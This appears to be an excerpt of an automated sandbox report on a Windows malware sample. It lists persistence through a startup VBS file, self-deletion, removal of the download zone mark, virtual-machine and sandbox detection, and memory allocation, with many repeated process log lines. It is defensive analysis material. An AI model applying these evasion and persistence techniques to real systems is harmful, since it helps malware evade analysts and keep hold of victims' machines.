Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3E6C.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Result.vbs

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\hoetvooryh.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\jagvise:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Result.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: 3E6C.exe PID: 5796, type: MEMORYSTR

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jagvise	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jagvise	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jagvise	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jagvise	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jagvise	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jagvise	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	API/Special instruction interceptor: Address: 7FFE2220E814
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	API/Special instruction interceptor: Address: 7FFE2220D584
Source: C:\Users\user\AppData\Roaming\jagvise	API/Special instruction interceptor: Address: 7FFE2220E814
Source: C:\Users\user\AppData\Roaming\jagvise	API/Special instruction interceptor: Address: 7FFE2220D584

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: hoEtvOOrYH.exe, 00000000.00000002.1732224334.000000000089E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ASWHOOKJ>
Source: 3E6C.exe, 0000000C.00000002.3947321786.0000000003027000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Memory allocated: 1500000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Memory allocated: 2F80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Memory allocated: 2E80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 1010000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2DD0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2BE0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Result.exe	Memory allocated: 13D0000 memory reserve \| memory write watch
